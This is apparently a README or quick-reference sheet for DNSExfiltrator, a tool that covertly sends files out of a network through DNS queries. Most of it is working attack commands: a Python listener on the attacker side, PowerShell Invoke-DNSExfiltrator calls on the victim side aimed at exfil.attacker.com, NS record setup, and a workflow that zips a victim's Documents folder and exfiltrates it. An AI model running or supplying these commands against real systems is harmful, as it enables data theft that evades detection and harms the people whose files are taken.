DNSExfiltrator
Covert file exfiltration via DNS — Python server receives, PowerShell client sends.
Quick Start
# Attacker side — start DNS server (needs port 53 UDP)
sudo python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# Victim side (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\file.zip -d exfil.attacker.com -p password -t 500
DNS Setup
Point an NS record for your subdomain to your listener IP:
exfil.attacker.com NS ns1.attacker.com
ns1.attacker.com A <your-server-ip>
Core Options
| Option | Purpose |
|--------|---------|
| -d DOMAIN | Exfil domain (server) |
| -p PASSWORD | Encryption passphrase |
| -b 64/32 | Encoding (base64/base32) |
| -t MS | Throttle between queries (ms) |
| -r N | Max retries |
Common Workflows
Exfil archive from Windows:
# Compress first
Compress-Archive -Path C:\Users\victim\Documents -DestinationPath docs.zip
# Exfil
Invoke-DNSExfiltrator -i docs.zip -d exfil.attacker.com -p MyPass123 -t 200
